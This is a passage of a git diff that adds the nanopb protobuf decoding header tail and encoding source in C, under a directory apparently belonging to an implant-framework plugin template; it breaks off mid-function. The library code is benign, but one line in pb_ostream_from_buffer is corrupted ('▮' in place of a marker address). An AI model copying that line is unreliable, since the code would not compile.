+#endif +}; + +#ifndef PB_NO_ERRMSG +#define PB_ISTREAM_EMPTY {0,0,0,0} +#else +#define PB_ISTREAM_EMPTY {0,0,0} +#endif + +/*************************** + * Main decoding functions * + ***************************/ + +/* Decode a single protocol buffers message from input stream into a C structure. + * Returns true on success, false on any failure. + * The actual struct pointed to by dest must match the description in fields. + * Callback fields of the destination structure must be initialized by caller. + * All other fields will be initialized by this function. + * + * Example usage: + * MyMessage msg = {}; + * uint8_t buffer[64]; + * pb_istream_t stream; + * + * // ... read some data into buffer ... + * + * stream = pb_istream_from_buffer(buffer, count); + * pb_decode(&stream, MyMessage_fields, &msg); + */ +bool pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct); + +/* Extended version of pb_decode, with several options to control + * the decoding process: + * + * PB_DECODE_NOINIT: Do not initialize the fields to default values. + * This is slightly faster if you do not need the default + * values and instead initialize the structure to 0 using + * e.g. memset(). This can also be used for merging two + * messages, i.e. combine already existing data with new + * values. + * + * PB_DECODE_DELIMITED: Input message starts with the message size as varint. + * Corresponds to parseDelimitedFrom() in Google's + * protobuf API. + * + * PB_DECODE_NULLTERMINATED: Stop reading when field tag is read as 0. This allows + * reading null terminated messages. + * NOTE: Until nanopb-0.4.0, pb_decode() also allows + * null-termination. This behaviour is not supported in + * most other protobuf implementations, so PB_DECODE_DELIMITED + * is a better option for compatibility. + * + * Multiple flags can be combined with bitwise or (| operator) + */ +#define PB_DECODE_NOINIT 0x01U +#define PB_DECODE_DELIMITED 0x02U +#define PB_DECODE_NULLTERMINATED 0x04U +bool pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags); + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define pb_decode_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NOINIT) +#define pb_decode_delimited(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED) +#define pb_decode_delimited_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED | PB_DECODE_NOINIT) +#define pb_decode_nullterminated(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NULLTERMINATED) + +/* Release any allocated pointer fields. If you use dynamic allocation, you should + * call this for any successfully decoded message when you are done with it. If + * pb_decode() returns with an error, the message is already released. + */ +void pb_release(const pb_msgdesc_t *fields, void *dest_struct); + +/************************************** + * Functions for manipulating streams * + **************************************/ + +/* Create an input stream for reading from a memory buffer. + * + * msglen should be the actual length of the message, not the full size of + * allocated buffer. + * + * Alternatively, you can use a custom stream that reads directly from e.g. + * a file or a network socket. + */ +pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen); + +/* Function to read from a pb_istream_t. You can use this if you need to + * read some custom header data, or to read data in field callbacks. + */ +bool pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count); + + +/************************************************ + * Helper functions for writing field callbacks * + ************************************************/ + +/* Decode the tag for the next field in the stream. Gives the wire type and + * field tag. At end of the message, returns false and sets eof to true. */ +bool pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof); + +/* Skip the field payload data, given the wire type. */ +bool pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type); + +/* Decode an integer in the varint format. This works for enum, int32, + * int64, uint32 and uint64 field types. */ +#ifndef PB_WITHOUT_64BIT +bool pb_decode_varint(pb_istream_t *stream, uint64_t *dest); +#else +#define pb_decode_varint pb_decode_varint32 +#endif + +/* Decode an integer in the varint format. This works for enum, int32, + * and uint32 field types. */ +bool pb_decode_varint32(pb_istream_t *stream, uint32_t *dest); + +/* Decode a bool value in varint format. */ +bool pb_decode_bool(pb_istream_t *stream, bool *dest); + +/* Decode an integer in the zig-zagged svarint format. This works for sint32 + * and sint64. */ +#ifndef PB_WITHOUT_64BIT +bool pb_decode_svarint(pb_istream_t *stream, int64_t *dest); +#else +bool pb_decode_svarint(pb_istream_t *stream, int32_t *dest); +#endif + +/* Decode a fixed32, sfixed32 or float value. You need to pass a pointer to + * a 4-byte wide C variable. */ +bool pb_decode_fixed32(pb_istream_t *stream, void *dest); + +#ifndef PB_WITHOUT_64BIT +/* Decode a fixed64, sfixed64 or double value. You need to pass a pointer to + * a 8-byte wide C variable. */ +bool pb_decode_fixed64(pb_istream_t *stream, void *dest); +#endif + +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Decode a double value into float variable. */ +bool pb_decode_double_as_float(pb_istream_t *stream, float *dest); +#endif + +/* Make a limited-length substream for reading a PB_WT_STRING field. */ +bool pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream); +bool pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.c b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.c new file mode 100644 index 0000000..f9034a5 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.c @@ -0,0 +1,1001 @@ +/* pb_encode.c -- encode a protobuf using minimal resources + * + * 2011 Petteri Aimonen + */ + +#include "pb.h" +#include "pb_encode.h" +#include "pb_common.h" + +/* Use the GCC warn_unused_result attribute to check that all return values + * are propagated correctly. On other compilers, gcc before 3.4.0 and iar + * before 9.40.1 just ignore the annotation. + */ +#if (defined(__GNUC__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))) || \ + (defined(__IAR_SYSTEMS_ICC__) && (__VER__ >= 9040001)) + #define checkreturn __attribute__((warn_unused_result)) +#else + #define checkreturn +#endif + +/************************************** + * Declarations internal to this file * + **************************************/ +static bool checkreturn buf_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); +static bool checkreturn encode_array(pb_ostream_t *stream, pb_field_iter_t *field); +static bool checkreturn pb_check_proto3_default_value(const pb_field_iter_t *field); +static bool checkreturn encode_basic_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn encode_callback_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn encode_field(pb_ostream_t *stream, pb_field_iter_t *field); +static bool checkreturn encode_extension_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn default_extension_encoder(pb_ostream_t *stream, const pb_extension_t *extension); +static bool checkreturn pb_encode_varint_32(pb_ostream_t *stream, uint32_t low, uint32_t high); +static bool checkreturn pb_enc_bool(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_varint(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_fixed(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_bytes(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_string(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_submessage(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_fixed_length_bytes(pb_ostream_t *stream, const pb_field_iter_t *field); + +#ifdef PB_WITHOUT_64BIT +#define pb_int64_t int32_t +#define pb_uint64_t uint32_t +#else +#define pb_int64_t int64_t +#define pb_uint64_t uint64_t +#endif + +/******************************* + * pb_ostream_t implementation * + *******************************/ + +static bool checkreturn buf_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count) +{ + pb_byte_t *dest = (pb_byte_t*)stream->state; + stream->state = dest + count; + + memcpy(dest, buf, count * sizeof(pb_byte_t)); + + return true; +} + +pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize) +{ + pb_ostream_t stream; +#ifdef PB_BUFFER_ONLY + /* In PB_BUFFER_ONLY configuration the callback pointer is just int*. + * NULL pointer marks a sizing field, so put a non-NULL value to mark a buffer stream. + */ + static const int marker = 0; + stream.callback = ▮ +#else + stream.callback = &buf_write; +#endif + stream.state = buf; + stream.max_size = bufsize; + stream.bytes_written = 0; +#ifndef PB_NO_ERRMSG + stream.errmsg = NULL; +#endif + return stream; +} + +bool checkreturn pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count) +{ + if (count > 0 && stream->callback != NULL) + { + if (stream->bytes_written + count < stream->bytes_written || + stream->bytes_written + count > stream->max_size) + { + PB_RETURN_ERROR(stream, "stream full"); + } + +#ifdef PB_BUFFER_ONLY + if (!buf_write(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#else + if (!stream->callback(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#endif + } + + stream->bytes_written += count; + return true; +} + +/************************* + * Encode a single field * + *************************/ + +/* Read a bool value without causing undefined behavior even if the value + * is invalid. See issue #434 and + * https://stackoverflow.com/questions/27661768/weird-results-for-conditional + */ +static bool safe_read_bool(const void *pSize) +{ + const char *p = (const char *)pSize; + size_t i; + for (i = 0; i < sizeof(bool); i++) + { + if (p[i] != 0) + return true; + } + return false; +} + +/* Encode a static array. Handles the size calculations and possible packing. */ +static bool checkreturn encode_array(pb_ostream_t *stream, pb_field_iter_t *field) +{ + pb_size_t i; + pb_size_t count; +#ifndef PB_ENCODE_ARRAYS_UNPACKED + size_t size; +#endif + + count = *(pb_size_t*)field->pSize; + + if (count == 0) + return true; + + if (PB_ATYPE(field->type) != PB_ATYPE_POINTER && count > field->array_size) + PB_RETURN_ERROR(stream, "array max size exceeded"); + +#ifndef PB_ENCODE_ARRAYS_UNPACKED + /* We always pack arrays if the datatype allows it. */ + if (PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + if (!pb_encode_tag(stream, PB_WT_STRING, field->tag)) + return false; + + /* Determine the total size of packed array. */ + if (PB_LTYPE(field->type) == PB_LTYPE_FIXED32) + { + size = 4 * (size_t)count; + } + else if (PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + size = 8 * (size_t)count; + } + else + { + pb_ostream_t sizestream = PB_OSTREAM_SIZING; + void *pData_orig = field->pData; + for (i = 0; i < count; i++) + { + if (!pb_enc_varint(&sizestream, field)) + PB_RETURN_ERROR(stream, PB_GET_ERROR(&sizestream)); + field->pData = (char*)field->pData + field->data_size; + } + field->pData = pData_orig; + size = sizestream.bytes_written; + } + + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + if (stream->callback == NULL) + return pb_write(stream, NULL, size); /* Just sizing.. */ + + /* Write the data */ + for (i = 0; i < count; i++) + { + if (PB_LTYPE(field->type) == PB_LTYPE_FIXED32 || PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + if (!pb_enc_fixed(stream, field)) + return false; + } + else + { + if (!pb_enc_varint(stream, field)) + return false; + } + + field->pData = (char*)field->pData + field->data_size; + } + } + else /* Unpacked fields */ +#endif + { + for (i = 0; i < count; i++) + { + /* Normally the data is stored directly in the array entries, but + * for pointer-type string and bytes fields, the array entries are + * actually pointers themselves also. So we have to dereference once + * more to get to the actual data. */ + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER && + (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES)) + { + bool status; + void *pData_orig = field->pData; + field->pData = *(void* const*)field->pData; + + if (!field->pData) + { + /* Null pointer in array is treated as empty string / bytes */ + status = pb_encode_tag_for_field(stream, field) && + pb_encode_varint(stream, 0); + } + else + { + status = encode_basic_field(stream, field); + } + + field->pData = pData_orig; + + if (!status) + return false; + } + else + { + if (!encode_basic_field(stream, field)) + return false; + } + field->pData = (char*)field->pData + field->data_size; + } + } + + return true; +} + +/* In proto3, all fields are optional and are only encoded if their value is "non-zero". + * This function implements the check for the zero value. */ +static bool checkreturn pb_check_proto3_default_value(const pb_field_iter_t *field) +{ + pb_type_t type = field->type; + + if (PB_ATYPE(type) == PB_ATYPE_STATIC) + { + if (PB_HTYPE(type) == PB_HTYPE_REQUIRED) + { + /* Required proto2 fields inside proto3 submessage, pretty rare case */ + return false; + } + else if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + /* Repeated fields inside proto3 submessage: present if count != 0 */ + return *(const pb_size_t*)field->pSize == 0; + } + else if (PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + /* Oneof fields */ + return *(const pb_size_t*)field->pSize == 0; + } + else if (PB_HTYPE(type) == PB_HTYPE_OPTIONAL && field->pSize != NULL) + { + /* Proto2 optional fields inside proto3 message, or proto3 + * submessage fields. */ + return safe_read_bool(field->pSize) == false; + } + else if (field->descriptor->default_value) + { + /* Proto3 messages do not have default values, but proto2 messages + * can contain optional fields without has_fields (generator option 'proto3'). + * In this case they must always be encoded, to make sure that the + * non-zero default value is overwritten. + */ + return false; + } + + /* Rest is proto3 singular fields */ + if (PB_LTYPE(type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Simple integer / float fields */ + pb_size_t i; + const char *p = (const char*)field->pData; + for (i = 0; i < field->data_size; i++) + { + if (p[i] != 0) + { + return false; + } + } + + return true; + } + else if (PB_LTYPE(type) == PB_LTYPE_BYTES) + { + const pb_bytes_array_t *bytes = (const pb_bytes_array_t*)field->pData; + return bytes->size == 0; + } + else if (PB_LTYPE(type) == PB_LTYPE_STRING) + { + return *(const char*)field->pData == '\0'; + } + else if (PB_LTYPE(type) == PB_LTYPE_FIXED_LENGTH_BYTES) + { + /* Fixed length bytes is only empty if its length is fixed + * as 0. Which would be pretty strange, but we can check + * it anyway. */ + return field->data_size == 0; + } + else if (PB_LTYPE_IS_SUBMSG(type)) + { + /* Check all fields in the submessage to find if any of them + * are non-zero. The comparison cannot be done byte-per-byte + * because the C struct may contain padding bytes that must + * be skipped. Note that usually proto3 submessages have + * a separate has_field that is checked earlier in this if. + */ + pb_field_iter_t iter; + if (pb_field_iter_begin(&iter, field->submsg_desc, field->pData)) + { + do + { + if (!pb_check_proto3_default_value(&iter)) + { + return false; + } + } while (pb_field_iter_next(&iter)); + } + return true; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + return field->pData == NULL; + } + else if (PB_ATYPE(type) == PB_ATYPE_CALLBACK) + { + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + const pb_extension_t *extension = *(const pb_extension_t* const *)field->pData; + return extension == NULL; + } + else if (field->descriptor->field_callback == pb_default_field_callback) + { + pb_callback_t *pCallback = (pb_callback_t*)field->pData; + return pCallback->funcs.encode == NULL; + } + else + { + return field->descriptor->field_callback == NULL; + } + } + + return false; /* Not typically reached, safe default for weird special cases. */ +} + +/* Encode a field with static or pointer allocation, i.e. one whose data + * is available to the encoder directly. */ +static bool checkreturn encode_basic_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (!field->pData) + { + /* Missing pointer field */ + return true; + } + + if (!pb_encode_tag_for_field(stream, field)) + return false; + + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + return pb_enc_bool(stream, field); + + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + return pb_enc_varint(stream, field); + + case PB_LTYPE_FIXED32: + case PB_LTYPE_FIXED64: + return pb_enc_fixed(stream, field); + + case PB_LTYPE_BYTES: + return pb_enc_bytes(stream, field); + + case PB_LTYPE_STRING: + return pb_enc_string(stream, field); + + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + return pb_enc_submessage(stream, field); + + case PB_LTYPE_FIXED_LENGTH_BYTES: + return pb_enc_fixed_length_bytes(stream, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +/* Encode a field with callback semantics. This means that a user function is + * called to provide and encode the actual data. */ +static bool checkreturn encode_callback_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (field->descriptor->field_callback != NULL) + { + if (!field->descriptor->field_callback(NULL, stream, field)) + PB_RETURN_ERROR(stream, "callback error"); + } + return true; +} + +/* Encode a single field of any callback, pointer or static type. */ +static bool checkreturn encode_field(pb_ostream_t *stream, pb_field_iter_t *field) +{ + /* Check field presence */ + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + if (*(const pb_size_t*)field->pSize != field->tag) + { + /* Different type oneof field */ + return true; + } + } + else if (PB_HTYPE(field->type) == PB_HTYPE_OPTIONAL) + { + if (field->pSize) + { + if (safe_read_bool(field->pSize) == false) + { + /* Missing optional field */ + return true; + } + } + else if (PB_ATYPE(field->type) == PB_ATYPE_STATIC) + { + /* Proto3 singular field */ + if (pb_check_proto3_default_value(field)) + return true; + } + } + + if (!field->pData) + { + if (PB_HTYPE(field->type) == PB_HTYPE_REQUIRED) + PB_RETURN_ERROR(stream, "missing required field"); + + /* Pointer field set to NULL */ + return true; + } + + /* Then encode field contents */ + if (PB_ATYPE(field->type) == PB_ATYPE_CALLBACK) + { + return encode_callback_field(stream, field); + } + else if (PB_HTYPE(field->type) == PB_HTYPE_REPEATED) + { + return encode_array(stream, field); + } + else + { + return encode_basic_field(stream, field); + } +} + +/* Default handler for extension fields. Expects to have a pb_msgdesc_t + * pointer in the extension->type->arg field, pointing to a message with + * only one field in it. */ +static bool checkreturn default_extension_encoder(pb_ostream_t *stream, const pb_extension_t *extension) +{ + pb_field_iter_t iter; + + if (!pb_field_iter_begin_extension_const(&iter, extension)) + PB_RETURN_ERROR(stream, "invalid extension"); + + return encode_field(stream, &iter); +} + + +/* Walk through all the registered extensions and give them a chance + * to encode themselves. */ +static bool checkreturn encode_extension_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + const pb_extension_t *extension = *(const pb_extension_t* const *)field->pData; + + while (extension) + { + bool status; + if (extension->type->encode) + status = extension->type->encode(stream, extension); + else + status = default_extension_encoder(stream, extension); + + if (!status) + return false; + + extension = extension->next; + } + + return true; +} + +/********************* + * Encode all fields * + *********************/ + +bool checkreturn pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct) +{ + pb_field_iter_t iter; + if (!pb_field_iter_begin_const(&iter, fields, src_struct)) + return true; /* Empty message type */ + + do { + if (PB_LTYPE(iter.type) == PB_LTYPE_EXTENSION) + { + /* Special case for the extension field placeholder */ + if (!encode_extension_field(stream, &iter)) + return false; + } + else + { + /* Regular field */ + if (!encode_field(stream, &iter)) + return false; + } + } while (pb_field_iter_next(&iter)); + + return true; +} + +bool checkreturn pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags) +{ + if ((flags & PB_ENCODE_DELIMITED) != 0) + { + return pb_encode_submessage(stream, fields, src_struct); + } + else if ((flags & PB_ENCODE_NULLTERMINATED) != 0) + { + const pb_byte_t zero = 0; + + if (!pb_encode(stream, fields, src_struct)) + return false; + + return pb_write(stream, &zero, 1); + } + else + { + return pb_encode(stream, fields, src_struct); + } +} + +bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct) +{ + pb_ostream_t stream = PB_OSTREAM_SIZING; + + if (!pb_encode(&stream, fields, src_struct)) + return false; + + *size = stream.bytes_written; + return true; +} + +/******************** + * Helper functions * + ********************/ + +/* This function avoids 64-bit shifts as they are quite slow on many platforms. */ +static bool checkreturn pb_encode_varint_32(pb_ostream_t *stream, uint32_t low, uint32_t high) +{ + size_t i = 0; + pb_byte_t buffer[10]; + pb_byte_t byte = (pb_byte_t)(low & 0x7F); + low >>= 7; + + while (i < 4 && (low != 0 || high != 0)) + { + byte |= 0x80; + buffer[i++] = byte; + byte = (pb_byte_t)(low & 0x7F); + low >>= 7; + } + + if (high) + { + byte = (pb_byte_t)(byte | ((high & 0x07) << 4)); + high >>= 3; + + while (high) + { + byte |= 0x80; + buffer[i++] = byte; + byte = (pb_byte_t)(high & 0x7F); + high >>= 7; + } + } + + buffer[i++] = byte; + + return pb_write(stream, buffer, i); +} + +bool checkreturn pb_encode_varint(pb_ostream_t *stream, pb_uint64_t value) +{ + if (value <= 0x7F) + { + /* Fast path: single byte */ + pb_byte_t byte = (pb_byte_t)value; + return pb_write(stream, &byte, 1); + } + else + { +#ifdef PB_WITHOUT_64BIT + return pb_encode_varint_32(stream, value, 0); +#else + return pb_encode_varint_32(stream, (uint32_t)value, (uint32_t)(value >> 32)); +#endif + } +} + +bool checkreturn pb_encode_svarint(pb_ostream_t *stream, pb_int64_t value) +{ + pb_uint64_t zigzagged; + pb_uint64_t mask = ((pb_uint64_t)-1) >> 1; /* Satisfy clang -fsanitize=integer */ + if (value < 0) + zigzagged = ~(((pb_uint64_t)value & mask) << 1); + else + zigzagged = (pb_uint64_t)value << 1; + + return pb_encode_varint(stream, zigzagged); +} + +bool checkreturn pb_encode_fixed32(pb_ostream_t *stream, const void *value) +{ +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* Fast path if we know that we're on little endian */ + return pb_write(stream, (const pb_byte_t*)value, 4); +#else + uint32_t val = *(const uint32_t*)value; + pb_byte_t bytes[4]; + bytes[0] = (pb_byte_t)(val & 0xFF); + bytes[1] = (pb_byte_t)((val >> 8) & 0xFF); + bytes[2] = (pb_byte_t)((val >> 16) & 0xFF); + bytes[3] = (pb_byte_t)((val >> 24) & 0xFF); + return pb_write(stream, bytes, 4); +#endif +} + +#ifndef PB_WITHOUT_64BIT +bool checkreturn pb_encode_fixed64(pb_ostream_t *stream, const void *value) +{ +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* Fast path if we know that we're on little endian */ + return pb_write(stream, (const pb_byte_t*)value, 8); +#else + uint64_t val = *(const uint64_t*)value; + pb_byte_t bytes[8]; + bytes[0] = (pb_byte_t)(val & 0xFF); + bytes[1] = (pb_byte_t)((val >> 8) & 0xFF); + bytes[2] = (pb_byte_t)((val >> 16) & 0xFF); + bytes[3] = (pb_byte_t)((val >> 24) & 0xFF); + bytes[4] = (pb_byte_t)((val >> 32) & 0xFF); + bytes[5] = (pb_byte_t)((val >> 40) & 0xFF); + bytes[6] = (pb_byte_t)((val >> 48) & 0xFF); + bytes[7] = (pb_byte_t)((val >> 56) & 0xFF); + return pb_write(stream, bytes, 8); +#endif +} +#endif + +bool checkreturn pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number) +{ + pb_uint64_t tag = ((pb_uint64_t)field_number << 3) | wiretype; + return pb_encode_varint(stream, tag); +} + +bool pb_encode_tag_for_field ( pb_ostream_t* stream, const pb_field_iter_t* field ) +{ + pb_wire_type_t wiretype; + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + wiretype = PB_WT_VARINT; + break; + + case PB_LTYPE_FIXED32: + wiretype = PB_WT_32BIT; + break; + + case PB_LTYPE_FIXED64: + wiretype = PB_WT_64BIT; + break; + + case PB_LTYPE_BYTES: + case PB_LTYPE_STRING: + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + case PB_LTYPE_FIXED_LENGTH_BYTES: + wiretype = PB_WT_STRING; + break; + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } + + return pb_encode_tag(stream, wiretype, field->tag); +} + +bool checkreturn pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size) +{ + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + return pb_write(stream, buffer, size); +} + +bool checkreturn pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct) +{ + /* First calculate the message size using a non-writing substream. */ + pb_ostream_t substream = PB_OSTREAM_SIZING; + size_t size; + bool status; + + if (!pb_encode(&substream, fields, src_struct)) + { +#ifndef PB_NO_ERRMSG + stream->errmsg = substream.errmsg; +#endif + return false; + } + + size = substream.bytes_written; + + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + if (stream->callback == NULL) + return pb_write(stream, NULL, size); /* Just sizing */ + + if (stream->bytes_written + size > stream->max_size) + PB_RETURN_ERROR(stream, "stream full"); + + /* Use a substream to verify that a callback doesn't write more than + * what it did the first time. */ + substream.callback = stream->callback; + substream.state = stream->state; + substream.max_size = size; + substream.bytes_written = 0; +#ifndef PB_NO_ERRMSG + substream.errmsg = NULL; +#endif + + status = pb_encode(&substream, fields, src_struct); + + stream->bytes_written += substream.bytes_written; + stream->state = substream.state; +#ifndef PB_NO_ERRMSG + stream->errmsg = substream.errmsg; +#endif + + if (substream.bytes_written != size) + PB_RETURN_ERROR(stream, "submsg size changed"); + + return status; +} + +/* Field encoders */ + +static bool checkreturn pb_enc_bool(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + uint32_t value = safe_read_bool(field->pData) ? 1 : 0; + PB_UNUSED(field); + return pb_encode_varint(stream, value); +} + +static bool checkreturn pb_enc_varint(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_UVARINT) + { + /* Perform unsigned integer extension */ + pb_uint64_t value = 0; + + if (field->data_size == sizeof(uint_least8_t)) + value = *(const uint_least8_t*)field->pData; + else if (field->data_size == sizeof(uint_least16_t)) + value = *(const uint_least16_t*)field->pData; + else if (field->data_size == sizeof(uint32_t)) + value = *(const uint32_t*)field->pData; + else if (field->data_size == sizeof(pb_uint64_t)) + value = *(const pb_uint64_t*)field->pData; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + return pb_encode_varint(stream, value); + } + else + { + /* Perform signed integer extension */ + pb_int64_t value = 0; + + if (field->data_size == sizeof(int_least8_t)) + value = *(const int_least8_t*)field->pData; + else if (field->data_size == sizeof(int_least16_t)) + value = *(const int_least16_t*)field->pData; + else if (field->data_size == sizeof(int32_t)) + value = *(const int32_t*)field->pData; + else if (field->data_size == sizeof(pb_int64_t)) + value = *(const pb_int64_t*)field->pData; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (PB_LTYPE(field->type) == PB_LTYPE_SVARINT) + return pb_encode_svarint(stream, value); +#ifdef PB_WITHOUT_64BIT + else if (value < 0) + return pb_encode_varint_32(stream, (uint32_t)value, (uint32_t)-1); +#endif + else + return pb_encode_varint(stream, (pb_uint64_t)value); + + } +} + +static bool checkreturn pb_enc_fixed(pb_ostream_t *stream, const pb_field_iter_t *field) +{ +#ifdef PB_CONVERT_DOUBLE_FLOAT + if (field->data_size == sizeof(float) && PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + return pb_encode_float_as_double(stream, *(float*)field->pData); + } +#endif + + if (field->data_size == sizeof(uint32_t)) + { + return pb_encode_fixed32(stream, field->pData); + } +#ifndef PB_WITHOUT_64BIT + else if (field->data_size == sizeof(uint64_t)) + { + return pb_encode_fixed64(stream, field->pData); + } +#endif + else + { + PB_RETURN_ERROR(stream, "invalid data_size"); + } +} + +static bool checkreturn pb_enc_bytes(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + const pb_bytes_array_t *bytes = NULL; + + bytes = (const pb_bytes_array_t*)field->pData; + + if (bytes == NULL) + { + /* Treat null pointer as an empty bytes field */ + return pb_encode_string(stream, NULL, 0); + } + + if (PB_ATYPE(field->type) == PB_ATYPE_STATIC && + bytes->size > field->data_size - offsetof(pb_bytes_array_t, bytes)) + { + PB_RETURN_ERROR(stream, "bytes size exceeded"); + } + + return pb_encode_string(stream, bytes->bytes, (size_t)bytes->size); +} + +static bool checkreturn pb_enc_string(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + size_t size = 0; + size_t max_size = (size_t)field->data_size; + const char *str = (const char*)field->pData; + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { + max_size = (size_t)-1; + } + else + { + /* pb_dec_string() assumes string fields end with a null + * terminator when the type isn't PB_ATYPE_POINTER, so we + * shouldn't allow more than max-1 bytes to be written to + * allow space for the null terminator. + */ + if (max_size == 0) + PB_RETURN_ERROR(stream, "zero-length string"); + + max_size -= 1; + } + + + if (str == NULL) + { + size = 0; /* Treat null pointer as an empty string */ + } + else + { + const char *p = str; + + /* strnlen() is not always available, so just use a loop */ + while (size < max_size && *p != '\0') + { + size++; + p++; + } + + if (*p != '\0') + { + PB_RETURN_ERROR(stream, "unterminated string"); + } + } + +#ifdef PB_VALIDATE_UTF8 + if (!pb_validate_utf8(str)) + PB_RETURN_ERROR(stream, "invalid utf8"); +#endif + + return pb_encode_string(stream, (const pb_byte_t*)str, size); +} + +static bool checkreturn pb_enc_submessage(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (field->submsg_desc == NULL) + PB_RETURN_ERROR(stream, "invalid field descriptor"); + + if (PB_LTYPE(field->type) == PB_LTYPE_SUBMSG_W_CB && field->pSize != NULL) + { + /* Message callback is stored right before pSize. */ + pb_callback_t *callback = (pb_callback_t*)field->pSize - 1; + if (callback->funcs.encode) + { + if (!callback->funcs.encode(stream, field, &callback->arg)) + return false; + } + } + + return pb_encode_submessage(stream, field->submsg_desc, field->pData); +} + +static bool checkreturn pb_enc_fixed_length_bytes(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + return pb_encode_string(stream, (const pb_byte_t*)field->pData, (size_t)field->data_size); +} + +#ifdef PB_CONVERT_DOUBLE_FLOAT +bool pb_encode_float_as_double(pb_ostream_t *stream, float value) +{ + union { float f; uint32_t i; } in; + uint_least8_t sign; + int exponent; + uint64_t mantissa; + + in.f = value; + + /* Decompose input value */ + sign = (uint_least8_t)((in.i >> 31) & 1); + exponent = (int)((in.i >> 23) & 0xFF) - 127; + mantissa = in.i & 0x7FFFFF; + + if (exponent == 128) + { + /* Special value (NaN etc.) */ + exponent = 1024; + } + else if (exponent == -127) + { + if (!mantissa) + { + /* Zero */ + exponent = -1023; + } + else + { + /* Denormalized */ + mantissa <<= 1; + while (!(mantissa & 0x800000)) + { + mantissa <<= 1; + exponent--; + } + mantissa &= 